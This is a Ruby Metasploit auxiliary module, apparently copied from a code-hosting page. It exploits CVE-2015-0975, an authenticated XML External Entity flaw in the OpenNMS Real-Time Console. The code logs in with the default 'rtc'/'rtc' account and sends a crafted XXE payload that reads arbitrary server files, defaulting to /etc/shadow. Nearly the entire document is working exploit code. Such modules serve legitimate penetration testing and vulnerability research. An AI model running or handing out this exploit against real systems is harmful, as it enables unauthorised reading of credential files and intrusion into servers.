105 lines
3.6 KiB
Ruby
105 lines
3.6 KiB
Ruby
require 'msf/core'
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require 'openssl'
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class Metasploit4 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OpenNMS Authenticated XXE',
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'Description' => %q{
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OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
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Although this attack requires authentication, there are several factors that increase the
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severity of this vulnerability.
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1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
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core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
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ports or generate network traffic that requires root"
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2. The user that you must authenticate as is the "rtc" user which has the default password of
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"rtc". There is no mention of this user in the installation guides found here:
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http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
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admin password of "admin" for security purposes.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Stephen Breen <breenmachine[at]gmail.com>', # discovery
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'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
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],
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'References' => [
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['CVE', '2015-0975']
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],
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'DisclosureDate' => 'Jan 08 2015'
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))
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register_options(
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[
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Opt::RPORT(8980),
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OptBool.new('SSL', [false, 'Use SSL', false]),
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OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
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OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
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OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
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OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
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], self.class)
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end
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def run
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print_status("Logging in to grab a valid session cookie")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
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'vars_post' => {
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'j_username' => datastore['USERNAME'],
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'j_password' => datastore['PASSWORD'],
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'Login'=> 'Login'
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},
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})
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if res.nil?
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fail_with(Failure::Unreachable, "No response from POST request")
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elsif res.code != 302
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fail_with(Failure::UnexpectedReply, "Non-302 response from POST request")
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end
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unless res.headers["Location"].include? "index.jsp"
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fail_with(Failure::NoAccess, 'Authentication failed')
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end
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cookie = res.get_cookies
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print_status("Got cookie, going for the goods")
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rand_doctype = Rex::Text.rand_text_alpha(rand(1..10))
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rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
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rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
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delimiter = SecureRandom.uuid
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xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE #{rand_doctype} [
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<!ELEMENT #{rand_entity1} ANY >
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<!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
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]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^
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res = send_request_raw({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
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'data' => xxe,
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'cookie' => cookie
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})
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# extract filepath data from response
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if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m
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result = $1
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print_good("#{result}")
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else
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fail_with(Failure::Unknown, 'Error fetching file, try another')
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end
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end
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end
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